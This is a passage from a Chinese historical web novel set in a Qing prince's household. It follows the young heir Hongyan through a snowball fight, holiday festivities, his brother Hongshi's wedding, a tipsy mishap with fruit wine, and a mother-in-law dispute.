弘历觉得这个办法可以,点了点头。 分组小游戏开始,弘晏喊完:“三、二、一。” 四个手同时伸了出来。 是三个手心,一个手背。 很快,弘晏便开始第二局的倒数:“三、二、一。” 这一次,是三个手背,一个手心。 弘晏清了清嗓子,再次倒数:“三、二、一。” 这回,伸出来的手终于是两个手心、两个手背了。 第三局的结果彰示着分组完成,同样为手心的弘时和弘晏为一组,那么同样是手背的弘历和弘昼为一组。 打雪仗就此拉开序幕。 “啪” 一个雪球,完美的砸在了弘时的胸前。 “弘昼,你等着。”弘时放完狠话,一边隐蔽起来,一边开始攥雪球。 弘历抓住这个时机,在弘时成功躲避起来之前,向着弘时掷出了一个雪球。 “哎呦。”弘时喊出声来。 弘历的这个雪球不偏不倚的砸在了弘时的鼻子上。 而弘晏在弘历攻击弘时的同时,将自己攥的滚圆的雪球扔了出去,这雪球也砸在了弘历的胳膊上。 弘晏很是兴奋:“三哥,我替你扳回了一球。” “好六弟,接下来看三哥的。”弘时说着,左手右手齐发,将两个雪球同时扔出去。 一个落在了地上,而另一个砸在了弘昼的身上。 好歹砸中了一个,弘时得意起来:“嘿嘿,弘昼,看你还嚣张……”的起来。 弘时话还没说完,嘴巴就吃了弘历一个雪球。 “呸,呸。”弘时赶忙扒拉自己的嘴,往外吐雪花。 对面的弘昼已然捂着肚子笑了起来:“哈哈哈,三哥,雪球好吃吗?” 弘晏抢在弘时之前开了口:“三哥,你隐蔽好,再去攻击。” 可不能再中了激将法了。 弘时年纪最大,长的最高,身形大了不好隐蔽,倒成了短处。他年纪最小,隐蔽起来却是最完美的。 弘时点头:“好。” 随即,弘晏攥着一个雪球,瞄准了弘昼所在的位置,正要扔出去时,却忽然转了手腕朝着露头的弘历扔了过去。 那雪球正好砸在了弘历的脑门上。 弘时见状,朝着弘晏比了个大拇哥。 弘晏嘴角挂着浅浅的笑,得意了两秒,转而又进入了作战模式。 比赛进入了白热化的时刻,弘晏一时不备,中了弘昼扔过来的一个雪球,接着,弘晏埋头攥了一个实心的雪球,瞄准之后,用力的扔了出去。 “哎呦。” 这声音好耳熟啊。 弘晏冒出头一看,他扔出去的那个雪球,正好砸在了准备来上课的朱师傅的脸上。 “噗嗤。”弘昼没忍住笑出声来。 弘晏赶忙跑过去,一脸担忧的望着朱师傅,慌忙解释起来:“朱师傅,对不住,那个雪球是我扔的,可我不是要故意扔你,我们在玩打雪仗呢,你没事吧?” 弘时也跟着跑了过去:“是啊,朱师傅,我可以作证的。” 弘历和弘昼也赶忙跑过来作证。 被四个阿哥围起来的朱师傅正拿着帕子擦脸上残留的雪渍:“无妨,无妨,离上课还有些时间,四位阿哥玩完便进来吧。” 朱师傅说着,便抬步往屋子里去。 虽然朱师傅并未受伤,也没有生气,但弘晏心里还是有些过意不去。 弘历发现弘晏的情绪变得低落,出言安慰起来:“六弟,你别担心,我瞧着朱师傅并未放在心上。” 朱师傅是师长,他们是弟子,弘晏的品行如何,朱师傅自然是了解的。 刚才的事儿,不过是个意外罢了,朱师傅一向是大度的,再者弘晏已然给朱老师道过歉的。 弘昼也开了口:“就是,朱师傅不过是挨了一个雪球罢了,我都被砸了多少个雪球了,我都没有事儿,朱师傅更不可能在屋子里躲起来哭鼻子的。” 朱师傅又不是纸糊的,哪里就那么脆弱了。 弘时见弘晏不言语,问道:“六弟,你要实在过意不去,不如再去给朱师傅赔个礼?” 道歉的态度到位,朱师傅还能抓住不放不成。 而此时的弘晏已然有了主意:“三哥、四哥、五哥,帮我个忙。” 待弘晏说出了自己的主意之后,四个人达成一致便跑到厨房去了,在厨房拿完需要用到的食材之后,四个人又到耳房里去。 田玉将烤火的炉子又烧得旺了些,弘晏等人便开始烤洋芋。 弘晏挑的都是小巧的洋芋,要是体积太大,烤的时间便要很久了。 过了一会儿,烤洋芋的香味慢慢散出来,弘昼吞了吞口水:“能吃了吧?” 弘晏用长筷子戳了戳洋芋,戳不动还是硬的,便道:“五哥,还要等会儿呢。” 弘昼“哦”了一声。 两只眼睛直勾勾的盯着洋芋。 刚才玩打雪仗可是费了不少力气,他现在再闻着烤洋芋的香味,就感觉肚子又饿了。 又过了一会儿,弘晏给洋芋翻了个面。 弘昼等了等,又忍不住问道:“六弟,这回好了吗?” 烤洋芋的味道更浓郁了。 弘晏拿着长筷子戳了戳洋芋,这回倒是可以轻松的戳进去了。 “五哥,应该可以了。” 弘晏的话音刚落下,弘昼迫不及待的拿着长筷子夹起了一个洋芋,再用帕子包起来,小心翼翼的将皮剥了,吹了吹,就咬了一大口:“烫,烫。” 外面是吹凉了,可里面还烫着呢。 弘历很是无奈:“心急吃不了热洋芋。” 弘昼将那一口洋芋在嘴里翻来覆去的炒一遍才咽了下去。 弘昼笑道:“嘿嘿,这洋芋糯糯的,味道还不错。” 这时,弘晏开口道:“五哥,你蘸着五香粉试试。” 弘昼照做了,边咀嚼边点头:“更香了,你们快尝尝。” 弘晏听了这话,拿着长筷子往盘子里夹了三个洋芋,又放上一小碟五香粉,便站起了身:“哥哥们先吃,我给朱师傅送过去便回来。” 弘晏说着,便往外走了。 到了朱师傅的屋子,弘晏将洋芋放在了朱师傅面前,很是诚恳的开了口:“朱师傅,你脸疼吗?我的雪球刚好飞出去,你刚好出现,这才不小心误伤到你的,这是我和哥哥们亲手烤的洋芋,朱师傅你尝尝,蘸着五香粉更好吃。” 烤洋芋配五香粉,这可是经过弘昼测评的。 朱师傅笑了:“小意外而已,我已然说过没事了,世子不必放在心上,至于这洋芋,那就多谢世子的一番美意了。” “嘿嘿,那朱师傅趁热吃。”弘晏说完,便又跑回去找弘时他们了。 四个人围着炉子吃完了洋芋,弘晏倒是美美的回寝房去了,而弘昼极不情愿的拖着脚步被无情的弘时和弘历拉走上晚课去了。 弘晏泡了一个热水澡,便躺到了舒服的床榻上,外面的雪还在下,弘晏便骨碌着身子坐起来,头靠着床栏欣赏了会儿雪景。 这时,田玉走进来了:“世子,石泉想来给世子守夜,叫我给挡回去了。” 弘晏点头:“你告诉石泉,叫他安心歇着,等过了年再来当差。” 石泉的伤已然好的差不多了,可现在天寒地冻又下着雪,弘晏不忍心叫石泉来身边伺候,还是让他多休养些日子为好。 至于给石泉医治的许太医,已然在下雪前回到太医院了。 许太医在雍亲王府的这些日子,医治石泉之余,又可以和柳从南切磋医术,专研古方,临走时,竟还有些舍不得柳从南。 弘晏觉得,这或许就是所谓的“知音”吧。 第124章 第124章两杯就倒 时间转眼来到了年底,除夕夜过后,弘晏从睡梦中醒来,果然在枕头下又发现了两个红封。 那两个红封里各装着两个金锞子,不用问,这定然是胤禛和乌拉那拉氏给自己的压岁钱。 弘晏笑着将红封收好,便唤田玉进来帮他穿衣洗漱。 今天是正月初一,弘晏穿上了大红色狐狸毛滚边的袍子,欢欢喜喜的去给胤禛请安去了。 吃过早膳,弘晏跟着胤禛和乌拉那拉氏进宫去拜年,这一圈拜下来,弘晏可得了不少压岁钱呢。 与以往一样,弘晏还是将挣来的压岁钱都交给乌拉那拉氏收着了。 胤禛见状又吃起醋来,弘晏便笑嘻嘻的剥了一个橘子喂给胤禛吃。 日子一晃又到了上元节,弘晏吃到了糯叽叽的五彩元宵。 这五彩元宵外面有红、黄、绿、紫、白五种颜色,里面的馅料也各不相同。 白色的元宵里面却是黑乎乎的芝麻馅。 红色的元宵包着的是香甜细腻的红豆沙馅。 黄色的元宵里面是酥脆的花生馅。 绿色的元宵则是鲜肉馅的。 至于紫色的元宵是山楂馅的。 这五种馅只有那鲜肉馅,弘晏是接受不了的,相反弘昼却吃得很满足,弘晏便将自己碗里的绿色元宵都舀给了弘昼,请弘昼帮忙消灭掉。 吃完元宵,弘晏又和三个哥哥一起到院子里放起了烟花。 过节,怎么能不放烟花呢。 等玩足了,弘晏等人便各自回寝房睡觉去了。 上元节过后的第一天,宫里来人传旨。 这旨意是为弘时赐婚。 将吏部尚书席达尔之女董鄂氏,指给弘时做福晋。 弘晏听了这旨意,偷偷的瞄向了胤禛,见胤禛面色如常,弘晏便明白便宜阿玛早就知晓了,或者说这婚事就是便宜阿玛向皇玛法请来的。 而弘时整个人都是懵圈的状态,直到胤禛提醒他接旨,弘时这才回过神来赶忙接过旨意。 待宫里的人走后,弘晏等人纷纷向弘时道喜。 中秋节过后,便是弘时大婚的日子了,雍亲王府张灯结彩热闹极了,而禁足已久的李侧福晋也被胤禛放了出来。 弘晏见着蹦蹦跳跳的弘昼,忍不住说道:“五哥,我瞧着你怎么比三哥这个新郎官还高兴。” 弘昼眨了眨眼睛:“嘿嘿,只要不上课,我就高兴。” 少顷,敲锣打鼓的声音渐渐逼近,弘晏便知弘时已然将新娘子接回来了。 大红花轿到了雍亲王府门前,喜娘搀扶着新娘出了花轿,弘时将红绸递过去,一对新人便开始进行一系列的仪式了。 弘晏一边观礼一边喝彩。 待拜完堂之后,弘时便要将新娘子送到新房里去,而在这时,弘晏也被弘昼拉去新房里瞧热闹。 弘晏到时,新房里已然围了不少宾客,弘昼就带着他挤进了前排围观。 等喜娘说完了吉祥话,弘时拿着秤杆挑起了新娘的红盖头。 瞧清新娘的模样之后,弘时顿时红了脸,变得局促起来。 弘昼笑着起哄:“三哥,你的脸怎么比三嫂还红啊。” 弘昼这话一出口,引得其他宾客大笑,弘时的脸瞬间红到了耳后根去了。 弘晏见弘昼还要说话,赶忙抬手捂住了弘昼的嘴巴,低声在弘昼耳边说道:“五哥,给三哥留点儿面子,三哥都不好意思了。” 弘昼眨巴了眨巴眼睛,弘晏这才把自己的手拿开。 喜娘边说着吉祥话,边进行剩余的几项礼节,待礼节全部结束,弘时赶忙逃离了婚房,到外面敬酒去了。 瞧玩完热闹,弘昼便也拉着弘晏吃席去了。 席间,弘晏眼睛一瞥,便瞧见了八阿哥胤禩。 胤禩正温润如玉的笑着和身旁的人把酒言欢呢。 弘晏还是有点佩服胤禩的。 去岁中秋,弘旺那般胡闹想要害他,胤禩竟然能跟着没事人一样上门来喝喜酒。 “六弟,你瞧什么呢,快吃啊。”弘昼说着,在弘晏的碟子里夹了一个大虾。 弘晏思绪回笼,笑着拿起筷子:“谢谢五哥。” 在宴席上坐着的胤祥瞧见了胤禩,便对着身旁的胤禛说道:“四哥,八哥倒也能沉得住气。” 弘旺禁足一年的期限已过,平日里郭络罗氏更是和胤禩出双入对的,可今日,胤禩却一人前来,很显然郭络罗氏与弘旺都还窝着起,没脸登雍亲王府的门。 胤禛摩挲着手上的玉扳指,眼睛望向相谈甚欢的胤禩:“若非如此,怎会有八贤王的美誉。” 胤祥点头:“四哥这话不错,八哥喝喜酒是假,结交大臣才是真。” 胤禛将视线收回:“无论他目的如何,来者便是客。” 胤祥不再提胤禩,转而提起了酒杯:“弘时今日娶了福晋,怕是过不了多久,四哥就要当玛法了。” 胤禛笑着端起酒杯敬胤祥:“借十三弟吉言。” 人丁兴旺,总是好事。 这厢,弘晏正啃着鸡腿,便见弘晈哒哒的跑过来:“福宝哥哥。” 弘晏笑着喊道:“弘晈弟弟。” 这时,坐在弘晏身边的弘昼忽闪着眼睛:“弘晈,你怎么光喊六弟,没瞧见我吗?” 弘晈有些不好意思的喊道:“弘昼哥哥好。” 他只是急着来找弘晏玩,就自动屏蔽旁边的人了。 弘昼咧着嘴笑:“都是兄弟,来,坐。” 弘晈 坐到了弘晏的另一边,问向弘昼:“弘昼哥哥,你在喝什么啊?” 弘昼晃了晃手里的空酒杯:“当然是酒了。” 弘晈很是惊讶:“弘昼哥哥,你竟然敢喝酒。” 弘昼不以为意:“这有什么不敢的。” 话说着,弘昼立马又给自己倒了一杯酒,接着一饮而尽,以此来证明自己并没有吹牛。 弘晏开口道:“闻着味道倒是挺香的。” 弘晈跟着点头。 弘昼向弘晏发出了邀请:“六弟,你要不要也来一杯。” 弘晏虽然有点心动但还是理性占上风的:“我?还是算了吧,一杯下去怕是要醉了。” 他之前可是有“一杯倒”的战绩的。 “这是果酒,不醉人的。”弘昼说着,拿了一个新酒杯倒了一杯,递给弘晏。 弘晏接过酒杯,低头凑近闻了闻,确实有一股果子的清香味。 弘昼见弘晏有些动摇了:“六弟,今天可是三哥的好日子,喜糖喜饼喜宴都吃了,怎么能不喝喜酒呢?” 弘晏觉得弘昼说的话有道理,就低头抿了一口杯中酒,吧唧着嘴巴回味起来:“甜的。” 弘昼笑了:“我就是说甜的嘛。” 喝了一口,这酒虫就被勾出来了,接着,弘晏端起酒杯一饮而尽了。 一旁的弘晈见状,吞了吞口水,试探着问:“福宝哥哥,真的是甜的吗?” 他还没有喝过酒呢。 弘晏点点头。 此时,弘昼爽快的给弘晈也倒了一杯:“弘晈弟弟,尝尝就知道了。” 弘晏拎起酒杯给自己又倒了一杯:“来,弘晈弟弟,我们干一杯。” “等等我啊。”弘昼说完,也给自己倒了满满一杯。 三个小人儿碰杯之后,便都一饮而尽了。 喝酒对于弘晈来说,可是一种神奇的体验:“嘿嘿,是挺好喝的。” 话音落下的三秒后,弘晈便趴在了桌子上。 “弘晈弟弟,你怎么了?”弘晏说完,想要抬手去查看弘晈的情况,可这时,他的眼睛花了,似曾相识的小星星又出现了。 弘晏也倒下了。 这可惊着一旁的弘昼了。 “六弟,弘晈弟弟,醒醒啊。”弘昼见叫不醒这两个人,便去搬救兵了。 少顷,弘晏和弘晈被送到了弘晏的寝房。 胤禛、乌拉那拉氏、胤祥、兆佳氏、耿格格和弘昼都到了。 弘晏和弘晈脸颊浮现起两坨红晕,一看就是喝醉了。 耿格格忍不住开口:“弘昼,你怎么能带着世子和弘晈阿哥喝酒呢。” 弘昼没有想到弘晏与弘晈的酒量这么浅:“那是果酒,我喝了好几杯都没事儿,六弟喝了两杯,弘晈喝了一杯,谁知他们就醉了。” “果酒也是酒啊。”耿格格说完,又对着胤禛等人福身:“王爷,福晋,是妾身没教好弘昼,十三爷,十三福晋,妾身替弘昼向你们赔罪了。” 胤祥并未生气:“无妨。” 兆佳氏扶着耿格格起身:“是啊,小孩子难免好奇,弘昼是无心的。” 这时,柳从南拎着药箱赶来,查看过弘晏和弘晈的情形后,回道:“爷,世子和弘晈阿哥酒醉,奴才熬上一碗醒酒汤,世子和弘晈阿哥服下就好。” 胤禛点头,柳从南便去熬醒酒汤了。 乌拉那拉氏开了口:“爷,宾客们都在外面,你和十三弟、十三弟妹回宴席上吧,这里我守着就是。” 兆佳氏觉得不妥,便开口劝:“四嫂,今日弘时大婚,你们是主家,哪里能不露面,这里我守着就成了。” 耿格格再次福身:“爷,福晋,十三爷,十三福晋,事总归是弘昼引起的,还是我来守着世子和弘晈阿哥吧。” 这时,胤禛开了口:“不必争了,这里有奴才们守着,咱们还是都出去吧。” 胤禛话音落下,田玉与石泉相视一眼,同时打千儿道:“主子们放心,奴才们定然照顾好世子和弘晈阿哥。” 胤禛既然开了口,众人便都出去了。 耿格格回到宴席落坐后,一旁的钮祜禄格格连忙问道:“世子和弘晈阿哥无碍吧?” 耿格格笑着开口:“无碍,方才可吓死我了,弘昼若是有弘历一半稳重,我便省心了。” 弘昼还是个奶娃娃的时候,倒是不显什么,自从三岁以后,她这颗心天天是担惊受怕,七上八下的。 钮祜禄格格闻言,提起筷子给耿格格面前的碟子里夹了一块芙蓉鸡片:“瞧你说的,弘历有弘历的好,弘昼有弘昼的好,弘昼能喝,便以为旁人都与他一样了。” 耿格格拿起筷子夹起了碟子里的芙蓉鸡片,笑盈盈的看着钮祜禄格格说道:“等再过几年,弘昼到了娶妻的年纪,我还得求爷给弘昼选个厉害的福晋才行。” 得有个厉害的福晋管住弘昼才行,不然,就弘昼这模样,她以后怕是操不完的心。 说着,耿格格将芙蓉鸡片送进口中。 钮祜禄格格笑了:“常言道:‘英雄难过美人关’,我瞧着,将来还是给弘昼选个温柔似水的福晋才好。” 耿格格笑着接话:“英雄?他就是个皮猴儿,得有个五指山来震着他。” 这时,弘昼走了过来,见耿格格和钮祜禄格格在笑:“额娘,钮祜禄姨娘,你们在说什么呢?” 钮祜禄格格看向弘昼:“我说你是英雄,你额娘说你是皮猴儿。” 说完,钮祜禄格格又忍不住笑了。 “额娘,我是皮猴儿,那您是什么?”弘昼眨着眼睛说完,就脚底抹油——开溜。 望着弘昼跑走的背影,耿格格又气又无奈:“姐姐你可瞧见了,弘昼一天天的连个正形儿都没有。” “我瞧着,你这日子过得才有趣儿呢。”钮祜禄格格说完,提起了酒杯敬向耿格格。 第125章 第125章婆媳问题 宴席散后,喝了醒酒汤的弘晈还睡着,胤祥把弘晈抱上马车,便与胤禛告别打道回府了。 目送着胤祥的马车远去,胤禛与乌拉那拉氏便去了寝房查看弘晏的情况。 床榻上的小家伙脸上的两坨红晕已然消下去了,那肚子正一鼓一鼓的睡得香甜着呢。 胤禛与乌拉那拉氏嘱咐田玉与石泉好生看顾着弘晏,便携手回正院去了。 弘晏这一觉直接睡到了天亮。 石泉端着铜盆进来:“世子,您醒了。” 弘晏骨碌着身子坐起来,仔细回想睡着之前发生的事儿,而后不确定的问向石泉:“我这是喝醉了?” 石泉如实回答:“不光是世子,弘晈阿哥也醉了,昨日叫十三爷抱上马车带走的。” 喝酒记录刷新了,他是两杯倒,弘晈是一杯倒。 可弘昼也喝酒了,喝得还不少呢。 弘晏又问起了弘昼:“那五哥呢?他可醉了?” 石泉边给弘晏穿衣,边回答:“五阿哥一点儿都没醉,吃完了喜宴才回房的。” 弘晏鼓了鼓嘴:“好吧。” 弘昼的酒量可真好。 相比之下,他有点儿丢人捏! 给弘晏穿完了衣服,石泉又伺候弘晏穿鞋:“阿哥,今日三阿哥 与三福晋要请安敬茶的,咱们可不能晚了。” “好。”弘晏说罢,就从床榻上蹦了下来。 快速洗漱好后,弘晏就带着石泉往正厅去了。 还好,他没有来晚。 弘晏冲着端坐在主位上的胤禛和乌拉那拉氏行礼:“阿玛,额娘。” 乌拉那拉氏一脸关切:“福宝,脑袋可疼吗?” 弘晏笑了:“嘿嘿,不疼的。” 乌拉那拉氏这便放心了。 随后,弘晏便站到了一旁。 少顷,弘时带着福晋董鄂婧雅进了正厅。 敬茶仪式正式开始,弘时与董鄂婧雅同时跪在垫子上,冲着主位上的胤禛与乌拉那拉氏敬茶以后,胤禛与乌拉那拉氏给了二人红封,又说了几句要夫妻和睦的话以后,弘时扶着董鄂婧雅起身,开始向李侧福晋敬茶。 李侧福晋笑盈盈的接过了弘时的茶盏,轮到董鄂婧雅敬茶时,李侧福晋有意摆一摆婆母的架子,没急着去接。 可李侧福晋的余光察觉到胤禛正盯着她瞧时,赶忙将茶盏接过去,又给了红封。 再往下,弘时便带着董鄂婧雅给年侧福晋、钮祜禄格格、耿格格、乌雅格格请安问好就是。 年侧福晋、钮祜禄格格、耿格格和乌雅格格都给了红封。 最后,便是弘时向董鄂婧雅介绍弘晏等人了。 董鄂婧雅一一见过之后,便命身边的丫鬟将事先准备好的见面礼拿出来。 每人一套上好的文房四宝。 “多谢三嫂。”弘晏笑咪咪的开口。 董鄂婧雅浅笑道:“世子喜欢便好。” 弘历紧随其后道谢。 而弘昼勉强的挤出笑容:“多谢三嫂。” 待弘昼话音落下,主位上的胤禛开了口:“时候不早了,弘时,带着你福晋进宫去吧。” 按照规矩,弘时与董鄂婧雅是要进宫给康熙和德妃请安的。 弘时点头:“是,阿玛。” 一对新人的敬茶礼结束,众人便各归各位了。 —— 三日后,学堂内的弘昼撅着嘴巴唉声叹气:“我要是现在能娶福晋就好了。” 一旁温书的弘历听了这话,翻书的动作一顿,扭脸看向弘昼,眼神中满是震惊:“弘昼,你才九岁就想娶福晋了?!” 不待弘昼开口,弘晏笑呵呵的看向弘历:“四哥,五哥不是真的想娶福晋,而是不想读书了。” 弘晏话音落下,收到了来自弘昼的肯定:“知我者,六弟也。” 从前,他们兄弟四个一起读书,弘历勤奋,弘晏聪颖,他和弘时可是同进退的,如今弘时娶了福晋,就告别读书生活,逃出苦海了。 弘历与弘晏的课业不用朱师傅费很大精力,朱师傅便紧抓着他的课业不放了。 真是让人头疼。 听了弘晏的话,弘历便也明白了,笑道:“弘昼,只怕你还要再等上七年呢。” 弘昼用手托腮,眼睛里没了光亮:“天啊,七年,什么时候才是个头啊。” 老天能不能让他一觉醒来就到七年后呢。 “聊什么呢,这么热闹。”弘时迈着步子进门。 弘晏很是意外:“三哥,你怎么来了?” 弘时掀起衣袍一角坐下,回答道:“自然是来看你们啊。” 弘时话音落下,看向身旁的小太监。 小太监将食盒打开,将一碟子牛肉酥饼端了出来。 弘时看向三个弟弟:“四弟,五弟,六弟,趁热吃。” “多谢三哥。”弘晏说着,拿起了一个牛肉酥饼。 还是熟悉的味道。 有香喷喷的牛肉酥饼在面前,弘昼暂时也忘却了读书的烦恼。 弘历也拿了一个牛肉酥饼,一边吃一边温书。 弘晏双手拿着牛肉酥饼,含糊不清的问道:“三哥,你怎么不吃啊?” 弘时叹了口气。 弘昼很是不理解:“三哥,你都不用读书了,怎么还叹气?” 弘时拿起了一个牛肉酥饼:“我现在就像这牛肉酥饼里的牛肉。” 弘昼听得是云里雾里:“三哥,你有话就直说呗。” 以前弘时和他一样直白,如今成婚了,说话倒是弯弯绕绕起来了。 弘晏边吃着牛肉酥饼,边看着弘时。 弘时又将手里的牛肉酥饼放了回去,边拿着帕子擦手边倒苦水:“我现在是两头受气,额娘高兴了,福晋便不高兴,福晋高兴了,额娘却不高兴,我都不知道该怎么办了。” 夹在两个女人中间,偏向哪一个都不是。 他来学堂看看三个弟弟,还能有个清净的地方。 这回弘晏可听明白了。 原来是自古以来就有的婆媳问题嘛。 正当弘晏准备开口的说话,一个小太监急匆匆的跑进来:“三阿哥,您可叫奴才好找啊。” 弘时扭脸看向小太监:“有话就说,慌慌张张的做什么?” “三阿哥,您快回去瞧瞧吧,侧福晋和三福晋又起争执了。” 小太监话音落下,弘时赶忙起身赶回去。 弘晏将最后一口牛肉酥饼咽下,又喝了一口茶便撒腿去追弘时了。 有热闹,他怎么能错过。 到了碧波苑,弘晏未进屋子,而是倚靠着门框悄悄观察着里面的动静。 屋内,李侧福晋满脸愠色的坐在檀木圈椅上,董鄂婧雅站的笔直,正视着李侧福晋的目光,毫不胆怯。 刚赶回来的弘时还不知发生了何事,便开口问:“额娘,福晋,这又是怎么了?” 李侧福晋开始诉苦:“弘时,你说哪家的儿媳不给婆母请安奉茶,我不过嫌茶凉,叫她再换一杯来,你这好福晋便将茶盏摔了,给我脸子瞧。” 弘时闻言,一低头,才瞧见地上的碎瓷片和茶汤。 弘时抬眼看向董鄂婧雅,问道:“福晋,是这样吗?” 董鄂婧雅看了一眼弘时,又将视线落在面前的李侧福晋,不紧不慢的开口:“第一回,额娘嫌茶凉叫我换一杯,我照做了,第二回,额娘又嫌茶烫,我便又换了一杯新的,第三回,额娘嫌茶味淡,我便又重泡了一杯,可额娘又说这茶喝着太涩,叫我再奉上一杯,三阿哥你说,额娘是要喝茶,还是纯心为难人?” 末了,董鄂婧雅看向了弘时。 她敬李侧福晋是弘时的额娘,是长辈,才一再忍让,可这并不代表着她没有脾气,是任人揉捏的软面团。 弘时听明白了,遂看向李侧福晋:“额娘,福晋好好的给您奉茶,您这是做什么?” “好啊,弘时,你相信你福晋的话,却不相信额娘,要是我的茉雅奇、弘昐、弘昀还在,我可不指着你过日子。”说着,李侧福晋便掩面三分真七分假的哭起来。 李侧福晋抬出了故去的二子一女,弘时着实不忍心,掀起衣袍跪下说道:“额娘,您别这样,是儿子的不是。” 李侧福晋听了这话,也不哭了,愤愤道:“哪里是你的不是,茶盏又不是你摔的。” 弘时闻言,又站了起来,看向了董鄂婧雅:“福晋,额娘到底是长辈,你也该当面摔了茶盏,你就给额娘赔个不是吧。” 待弘时话落,李侧福晋拿着锦帕擦了脸上还要干了的泪珠,高傲的抬了抬下巴。 而董鄂婧雅听完弘时的话,在弘时满是期待的目光中轻轻吐出两个字:“做梦!” 李侧福晋眉头一拧,指着董鄂婧雅,愤怒道:“弘时,你瞧瞧,当着你的面,你福晋就敢这般欺负你额娘。” 弘时很是无奈又头疼:“福晋,你就给额娘赔不是,退一步,又怎么了?” 董鄂婧雅缓缓开口:“事儿又不是我挑起来的,我凭何低头?” 李侧福晋“蹭”的站起来:“弘时,今日你要不替额娘讨个公道,额娘以后便没你这个儿子了。” 弘时没了耐性:“福晋,你这般要强做什么,说个软话又怎么了,你非要将我额娘气出病来才罢休吗?” 弘时的话倒是提醒了李侧福晋,李侧福晋立马捂住心口,作势往后倒:“弘时。” 弘时忙扶住李侧福晋:“ 额娘。” 扶着李侧福晋坐下后,弘时看向董鄂婧雅,喝道:“你看看,我额娘都被你气成什么样子了。” 董鄂婧雅的脸冷下来,正欲开口时,弘晏跑了进来:“三哥,你还不赶紧让人请柳大夫来,柳大夫医术高明,给李姨娘扎上几针,病自然就好了。” 弘时点头:“对,来人,快请柳大夫来。” 第126章 第126章以柔克刚 李侧福晋闻言赶忙出言阻拦:“弘时,额娘没事儿,不用请柳大夫来,歇上一歇就好了。” 她本来就是装的,叫柳从南一来,脉一把,不就露馅了。 不待弘时说话,弘晏凑了上去,一脸关切道:“李姨娘,有病就得治,不然三哥怎么能放心呢。” 弘时一脸担忧:“是啊,额娘,六弟说的对,还是让柳大夫给你瞧瞧吧。” “我自己的身子自己清楚,弘时,你还是扶额娘到内室躺着吧。”李侧福晋说着,便挣扎着起身。 弘时见状,只好先依了李侧福晋,将人送到内室去。 弘晏扯了扯嘴角。 李侧福晋这么拙劣的演技一看就是装病,这把戏也就骗骗弘时罢了。 弘晏的余光瞧见董鄂婧雅出了屋子,便赶忙抬步跟上去。 “三嫂留步。” 董鄂婧雅闻言,停了脚下的步子,扭脸问道:“世子有事?” 弘晏缓缓开了口:“三嫂,今日是非曲直,我都瞧得明白,三哥自然也明白,只是李姨娘到底是三哥的亲额娘,三哥也是李姨娘膝下唯一的孩子了,他自然不能忤逆李姨娘。” 董鄂婧雅低眸,脸上略有不悦:“世子这是来劝我服软的?” 弘晏咧着嘴笑:“非也,三嫂是尚书之女,自然是有傲骨在的,可三哥是个耳根子软的,三嫂与李姨娘硬碰硬是划不来的,不如以柔克刚。” 董鄂婧雅明白了,笑道:“多谢世子提点。” “三嫂这话,我可是当不起。”弘晏说着,便朝着董鄂婧雅拱手:“三嫂,我是偷溜出来的,该回学堂上课了。” 董鄂婧雅朝着弘晏福身:“世子慢走。” 董鄂婧雅目送着弘晏小跑远去,便对着身边的丫鬟说道:“走,回房歇着。” 这厢,弘晏回到学堂时,朱师傅已然开始上课了。 弘晏冲着堂上的朱师傅拱手:“朱师傅,抱歉,我来晚了。” 弘晏道歉的态度十分真诚,朱师傅只道:“世子入坐吧,下不为例。” 弘晏笑着点头:“多谢朱师傅。” —— 到了晚上,弘时回房却看到离拔步床不远的地上放着地铺。 弘时指着地铺,抬眼看向坐在拔步床上的董鄂婧雅:“福晋,这是何意?” 莫不是他白日里冲着福晋发了火,福晋便要使性儿让他睡地上? 董鄂婧雅笑着站起身:“爷回来了,这地铺是给我自己准备的。” 弘时一愣:“为何?” 董鄂婧雅缓缓开口:“我仔细想过了,白日里我确有不对的地方,幸好额娘无恙,不然我的罪过便大了。” 弘时这便明白了,又瞧着董鄂婧雅满是自责的模样,一时有些愧疚,便伸手拉过董鄂婧雅的手:“白日的事都过去了,再说额娘也有不对的地方,额娘的脾气不好,日后你多担待些便是,你一个女儿家,哪里能睡地铺。” 董鄂婧雅抬眼看向弘时:“可我舍不得爷睡地铺啊。” 弘时有些费解:“这床这么大,足够你我睡了,为何非要有一人睡地铺呢?” 董鄂婧雅将手从弘时的手心抽出来,背对着弘时问:“爷可是真心要与我好好过日子吗?” 弘时迈大步来到董鄂婧雅面前,点头:“自然。” 既然成了夫妻,自然要好好过一辈子的。 董鄂婧雅徐徐开口:“可爷也瞧见了,额娘并不满意我这个儿媳,所以才会在我进门不久就刁难与我,我不愿叫爷夹在我和额娘中间为难,所以日后,我们还是各过各的吧,这样,我也不会去额娘那里碍眼了。” 董鄂婧雅说着,便去拔步床上将枕头抱起来。 弘时将枕头从董鄂婧雅手里夺出来:“你我是新婚夫妻,怎么能各过各过的,那还叫什么夫妻?” 董鄂婧雅说着,拿起帕子假装抽泣起来:“我也舍不得爷,可额娘又不喜欢我,我也是没法子啊。” 弘时听了这话,深觉自己娶了个贤妻,一时间,愧疚加心疼像泉眼一般涌了出来,直接将董鄂婧雅抱进了怀里。 “雅儿,我弘时何德何能能娶到你做妻子,你放心,额娘那里有我,我绝不叫你再受委屈。” 董鄂婧雅听了这话,勾了勾唇角。 从次日以后,弘时便与董鄂婧雅形影不离,李侧福晋当着弘时的面儿不好直接刁难董鄂婧雅,只是让董鄂婧雅奉杯茶,端个点心来,可纵然如此,弘时都抢着去做,更言“福晋身为儿媳理该侍奉额娘,儿子是额娘亲生,更该尽孝心。” 李侧福晋折腾两三日后,便自己放弃了。 —— 这日,董鄂婧雅带着食盒去了学堂。 这个时辰弘晏刚下课,正在和弘历、弘历即接力踢毽子玩呢。 “世子。”董鄂婧雅走过去福身。 弘晏见状,笑着颔首:“三嫂。” 弘历与弘昼也跟着走过来打招呼:“三嫂好。” 董鄂婧雅微微屈膝:“四阿哥,五阿哥。” 待董鄂婧雅话音落下,弘晏笑眯眯道:“三嫂,你不必见外,叫我福宝或者六弟就成。” 弘昼跟着附和:“是啊,三嫂,咱们都是自家人。” 弘历也开口道:“三嫂,六弟和五弟说的对,这里又没有外人。” 董鄂婧雅瞧着弘晏、弘昼和弘历,不免想起了自己还未出嫁时,在家中也是和弟妹们这般玩耍的:“好,四弟、五弟、六弟,我做了一些糕点,送给你们尝尝,可别嫌弃我的手艺。” 董鄂婧雅说着,便叫身旁的丫鬟桂月把食盒打开,将三盘点心摆放好。 弘晏/弘昼/弘历齐声道:“多谢三嫂。” 话落,弘晏等人便开始吃糕点,一边吃一边夸赞董鄂婧雅手艺好。 